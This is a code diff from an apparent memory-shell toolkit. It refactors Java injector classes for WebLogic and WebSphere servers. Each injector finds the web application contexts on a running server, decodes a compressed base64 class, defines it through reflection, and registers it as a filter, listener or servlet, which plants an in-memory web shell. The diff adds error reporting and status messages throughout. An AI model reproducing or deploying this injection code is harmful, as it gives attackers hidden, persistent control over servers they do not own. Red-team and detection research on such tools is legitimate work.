ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.weblogic;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Array; import java.lang.reflect.Array;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
@@ -14,6 +15,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class WebLogicFilterInjector { public class WebLogicFilterInjector {
private String msg = "";
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
} }
@@ -27,15 +30,42 @@ public class WebLogicFilterInjector {
} }
public WebLogicFilterInjector() { public WebLogicFilterInjector() {
Set<Object> contexts = null;
try { try {
Object[] contexts = getContext(); contexts = getContext();
for (Object context : contexts) { } catch (Throwable throwable) {
Object filter = getShell(context); msg += "context error: " + getErrorMessage(throwable);
inject(context, filter);
}
} catch (Exception e) {
e.printStackTrace();
} }
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
} }
public static Object[] getContextsByMbean() throws Throwable { public static Object[] getContextsByMbean() throws Throwable {
@@ -117,7 +147,7 @@ public class WebLogicFilterInjector {
* /opt/oracle/wls1036/server/lib/weblogic.jar * /opt/oracle/wls1036/server/lib/weblogic.jar
* /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar * /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
*/ */
public static Object[] getContext() { public static Set<Object> getContext() {
Set<Object> webappContexts = new HashSet<Object>(); Set<Object> webappContexts = new HashSet<Object>();
try { try {
webappContexts.addAll(Arrays.asList(getContextsByMbean())); webappContexts.addAll(Arrays.asList(getContextsByMbean()));
@@ -127,7 +157,7 @@ public class WebLogicFilterInjector {
webappContexts.addAll(Arrays.asList(getContextsByThreads())); webappContexts.addAll(Arrays.asList(getContextsByThreads()));
} catch (Throwable ignored) { } catch (Throwable ignored) {
} }
return webappContexts.toArray(); return webappContexts;
} }
public ClassLoader getWebAppClassLoader(Object context) throws Exception { public ClassLoader getWebAppClassLoader(Object context) throws Exception {
@@ -141,22 +171,26 @@ public class WebLogicFilterInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("unchecked") @SuppressWarnings("unchecked")
public void inject(Object context, Object filter) throws Exception { public void inject(Object context, Object filter) throws Exception {
if (isInjected(context)) { Map filters = (Map) getFieldValue(getFieldValue(context, "filterManager"), "filters");
System.out.println("filter already injected"); for (Object obj : filters.keySet()) {
return; if (obj.toString().contains(getClassName())) {
return;
}
} }
Object filterManager = invokeMethod(context, "getFilterManager", null, null); Object filterManager = invokeMethod(context, "getFilterManager", null, null);
Object servletClassLoader = invokeMethod(context, "getServletClassLoader", null, null); Object servletClassLoader = invokeMethod(context, "getServletClassLoader", null, null);
@@ -166,18 +200,11 @@ public class WebLogicFilterInjector {
List<Object> filterPatternList = (List<Object>) getFieldValue(filterManager, "filterPatternList"); List<Object> filterPatternList = (List<Object>) getFieldValue(filterManager, "filterPatternList");
Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1); Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1);
filterPatternList.add(0, currentMapping); filterPatternList.add(0, currentMapping);
System.out.println("filter inject successful");
} }
@SuppressWarnings("all") @Override
public boolean isInjected(Object context) throws Exception { public String toString() {
Map filters = (Map) getFieldValue(getFieldValue(context, "filterManager"), "filters"); return msg;
for (Object obj : filters.keySet()) {
if (obj.toString().contains(getClassName())) {
return true;
}
}
return false;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -252,6 +279,21 @@ public class WebLogicFilterInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
} }
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.weblogic;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Array; import java.lang.reflect.Array;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
@@ -17,6 +18,9 @@ import java.util.zip.GZIPInputStream;
* @author ReaJason * @author ReaJason
*/ */
public class WebLogicListenerInjector { public class WebLogicListenerInjector {
private String msg = "";
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
} }
@@ -26,15 +30,42 @@ public class WebLogicListenerInjector {
} }
public WebLogicListenerInjector() { public WebLogicListenerInjector() {
Set<Object> contexts = null;
try { try {
Object[] contexts = getContext(); contexts = getContext();
for (Object context : contexts) { } catch (Throwable throwable) {
Object listener = getShell(context); msg += "context error: " + getErrorMessage(throwable);
inject(context, listener);
}
} catch (Exception e) {
e.printStackTrace();
} }
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
} }
static Object[] getContextsByMbean() throws Throwable { static Object[] getContextsByMbean() throws Throwable {
@@ -111,7 +142,7 @@ public class WebLogicListenerInjector {
return webappContexts.toArray(); return webappContexts.toArray();
} }
public static Object[] getContext() { public static Set<Object> getContext() {
Set<Object> webappContexts = new HashSet<Object>(); Set<Object> webappContexts = new HashSet<Object>();
try { try {
webappContexts.addAll(Arrays.asList(getContextsByMbean())); webappContexts.addAll(Arrays.asList(getContextsByMbean()));
@@ -121,7 +152,7 @@ public class WebLogicListenerInjector {
webappContexts.addAll(Arrays.asList(getContextsByThreads())); webappContexts.addAll(Arrays.asList(getContextsByThreads()));
} catch (Throwable ignored) { } catch (Throwable ignored) {
} }
return webappContexts.toArray(); return webappContexts;
} }
public ClassLoader getWebAppClassLoader(Object context) throws Exception { public ClassLoader getWebAppClassLoader(Object context) throws Exception {
@@ -135,36 +166,33 @@ public class WebLogicListenerInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
public void inject(Object context, Object listener) throws Exception { public void inject(Object context, Object listener) throws Exception {
if (isInjected(context)) {
System.out.println("listener already injected");
return;
}
Object eventsManager = getFieldValue(context, "eventsManager");
invokeMethod(eventsManager, "registerEventListener", new Class[]{String.class}, new Object[]{getClassName()});
System.out.println("listener inject successful");
}
@SuppressWarnings("unchecked")
public boolean isInjected(Object context) throws Exception {
List<Object> requestListeners = (List<Object>) getFieldValue(getFieldValue(context, "eventsManager"), "requestListeners"); List<Object> requestListeners = (List<Object>) getFieldValue(getFieldValue(context, "eventsManager"), "requestListeners");
for (Object requestListener : requestListeners) { for (Object requestListener : requestListeners) {
if (requestListener.getClass().getName().contains(getClassName())) { if (requestListener.getClass().getName().contains(getClassName())) {
return true; return;
} }
} }
return false; Object eventsManager = getFieldValue(context, "eventsManager");
invokeMethod(eventsManager, "registerEventListener", new Class[]{String.class}, new Object[]{getClassName()});
}
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -234,6 +262,21 @@ public class WebLogicListenerInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
} }
} }
@@ -40,7 +40,6 @@ public class WebLogicServletContextAgentInjector implements ClassFileTransformer
String name = allLoadedClass.getName(); String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) { if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass); inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at weblogic.servlet.internal.WebAppServletContext.securedExecute");
} }
} }
} }
@@ -61,6 +60,7 @@ public class WebLogicServletContextAgentInjector implements ClassFileTransformer
}; };
ClassVisitor cv = getClassVisitor(cw); ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES); cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray(); return cw.toByteArray();
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
@@ -4,6 +4,7 @@ import javax.servlet.Servlet;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Array; import java.lang.reflect.Array;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
@@ -18,6 +19,9 @@ import java.util.zip.GZIPInputStream;
* @author ReaJason * @author ReaJason
*/ */
public class WebLogicServletInjector { public class WebLogicServletInjector {
private String msg = "";
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
} }
@@ -31,15 +35,42 @@ public class WebLogicServletInjector {
} }
public WebLogicServletInjector() { public WebLogicServletInjector() {
Set<Object> contexts = null;
try { try {
Object[] contexts = getContext(); contexts = getContext();
for (Object context : contexts) { } catch (Throwable throwable) {
Object servlet = getShell(context); msg += "context error: " + getErrorMessage(throwable);
inject(context, servlet);
}
} catch (Exception e) {
e.printStackTrace();
} }
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
} }
public static Object[] getContextsByMbean() throws Throwable { public static Object[] getContextsByMbean() throws Throwable {
@@ -116,7 +147,7 @@ public class WebLogicServletInjector {
return webappContexts.toArray(); return webappContexts.toArray();
} }
public static Object[] getContext() { public static Set<Object> getContext() {
Set<Object> webappContexts = new HashSet<Object>(); Set<Object> webappContexts = new HashSet<Object>();
try { try {
webappContexts.addAll(Arrays.asList(getContextsByMbean())); webappContexts.addAll(Arrays.asList(getContextsByMbean()));
@@ -126,7 +157,7 @@ public class WebLogicServletInjector {
webappContexts.addAll(Arrays.asList(getContextsByThreads())); webappContexts.addAll(Arrays.asList(getContextsByThreads()));
} catch (Throwable ignored) { } catch (Throwable ignored) {
} }
return webappContexts.toArray(); return webappContexts;
} }
public ClassLoader getWebAppClassLoader(Object context) throws Exception { public ClassLoader getWebAppClassLoader(Object context) throws Exception {
@@ -179,12 +210,14 @@ public class WebLogicServletInjector {
Object mapping = invokeMethod(servletMapping, "get", new Class[]{String.class}, new Object[]{getUrlPattern()}); Object mapping = invokeMethod(servletMapping, "get", new Class[]{String.class}, new Object[]{getUrlPattern()});
if (mapping == null) { if (mapping == null) {
invokeMethod(servletMapping, "put", new Class[]{String.class, Object.class}, new Object[]{getUrlPattern(), urlMatchHelper}); invokeMethod(servletMapping, "put", new Class[]{String.class, Object.class}, new Object[]{getUrlPattern(), urlMatchHelper});
System.out.println("servlet inject successful");
} else {
System.out.println("servlet already injected");
} }
} }
@Override
public String toString() {
return msg;
}
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception { public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass; Class<?> decoderClass;
@@ -237,6 +270,21 @@ public class WebLogicServletInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
} }
} }
@@ -40,7 +40,6 @@ public class WebSphereFilterChainAgentInjector implements ClassFileTransformer {
String name = allLoadedClass.getName(); String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) { if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass); inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter");
} }
} }
} }
@@ -61,6 +60,7 @@ public class WebSphereFilterChainAgentInjector implements ClassFileTransformer {
}; };
ClassVisitor cv = getClassVisitor(cw); ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES); cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray(); return cw.toByteArray();
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
@@ -4,6 +4,7 @@ import javax.servlet.Filter;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
@@ -19,17 +20,8 @@ import java.util.zip.GZIPInputStream;
* @author ReaJason * @author ReaJason
*/ */
public class WebSphereFilterInjector { public class WebSphereFilterInjector {
public WebSphereFilterInjector() {
try { private String msg = "";
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getShell(context);
inject(context, filter);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -43,6 +35,45 @@ public class WebSphereFilterInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public WebSphereFilterInjector() {
List<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
/** /**
* com.ibm.ws.webcontainer.webapp.WebAppImpl * com.ibm.ws.webcontainer.webapp.WebAppImpl
* /opt/IBM/WebSphere/AppServer/plugins/com.ibm.ws.webcontainer.jar * /opt/IBM/WebSphere/AppServer/plugins/com.ibm.ws.webcontainer.jar
@@ -84,22 +115,23 @@ public class WebSphereFilterInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("unchecked") @SuppressWarnings("unchecked")
public void inject(Object context, Object filter) throws Exception { public void inject(Object context, Object filter) throws Exception {
if (isInjected(context)) { Object webAppConfiguration = getFieldValue(context, "config");
System.out.println("filter already injected"); if (invokeMethod(webAppConfiguration, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
return; return;
} }
@@ -135,12 +167,11 @@ public class WebSphereFilterInjector {
} }
// 清除缓存 // 清除缓存
invokeMethod(getFieldValue(filterManager, "chainCache"), "clear", null, null); invokeMethod(getFieldValue(filterManager, "chainCache"), "clear", null, null);
System.out.println("filter injected successfully");
} }
public boolean isInjected(Object context) throws Exception { @Override
Object webAppConfiguration = getFieldValue(context, "config"); public String toString() {
return invokeMethod(webAppConfiguration, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null; return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -216,7 +247,7 @@ public class WebSphereFilterInjector {
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@@ -230,4 +261,19 @@ public class WebSphereFilterInjector {
} }
return null; return null;
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.websphere;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.ArrayList;
@@ -14,6 +15,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class WebSphereListenerInjector { public class WebSphereListenerInjector {
private String msg = "";
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
} }
@@ -23,15 +26,42 @@ public class WebSphereListenerInjector {
} }
public WebSphereListenerInjector() { public WebSphereListenerInjector() {
List<Object> contexts = null;
try { try {
List<Object> contexts = getContext(); contexts = getContext();
for (Object context : contexts) { } catch (Throwable throwable) {
Object listener = getShell(context); msg += "context error: " + getErrorMessage(throwable);
inject(context, listener);
}
} catch (Exception e) {
e.printStackTrace();
} }
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
} }
public List<Object> getContext() throws Exception { public List<Object> getContext() throws Exception {
@@ -71,15 +101,17 @@ public class WebSphereListenerInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("unchecked") @SuppressWarnings("unchecked")
@@ -87,12 +119,15 @@ public class WebSphereListenerInjector {
List<Object> listeners = (List<Object>) getFieldValue(context, "servletRequestListeners"); List<Object> listeners = (List<Object>) getFieldValue(context, "servletRequestListeners");
for (Object o : listeners) { for (Object o : listeners) {
if (o.getClass().getName().equals(getClassName())) { if (o.getClass().getName().equals(getClassName())) {
System.out.println("listener already injected");
return; return;
} }
} }
listeners.add(listener); listeners.add(listener);
System.out.println("listener injected successfully"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -141,7 +176,7 @@ public class WebSphereListenerInjector {
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -166,4 +201,19 @@ public class WebSphereListenerInjector {
method.setAccessible(true); method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param); return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.websphere;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.ArrayList;
@@ -15,17 +16,8 @@ import java.util.zip.GZIPInputStream;
* @since 2024/12/21 * @since 2024/12/21
*/ */
public class WebSphereServletInjector { public class WebSphereServletInjector {
public WebSphereServletInjector() {
try { private String msg = "";
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getShell(context);
inject(context, listener);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -38,6 +30,44 @@ public class WebSphereServletInjector {
public String getBase64String() throws IOException { public String getBase64String() throws IOException {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public WebSphereServletInjector() {
List<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public List<Object> getContext() throws Exception { public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); List<Object> contexts = new ArrayList<Object>();
@@ -76,26 +106,31 @@ public class WebSphereServletInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
public void inject(Object context, Object servlet) throws Exception { public void inject(Object context, Object servlet) throws Exception {
Object config = getFieldValue(context, "config"); Object config = getFieldValue(context, "config");
Object servletInfo = invokeMethod(config, "getServletInfo", new Class[]{String.class}, new Object[]{getClassName()}); Object servletInfo = invokeMethod(config, "getServletInfo", new Class[]{String.class}, new Object[]{getClassName()});
if (servletInfo != null) { if (servletInfo != null) {
System.out.println("servlet already injected");
return; return;
} }
invokeMethod(context, "addDynamicServlet", new Class[]{String.class, String.class, String.class, Properties.class}, new Object[]{getClassName(), getClassName(), getUrlPattern(), null}); invokeMethod(context, "addDynamicServlet", new Class[]{String.class, String.class, String.class, Properties.class}, new Object[]{getClassName(), getClassName(), getUrlPattern(), null});
System.out.println("servlet injected successfully"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -143,7 +178,7 @@ public class WebSphereServletInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
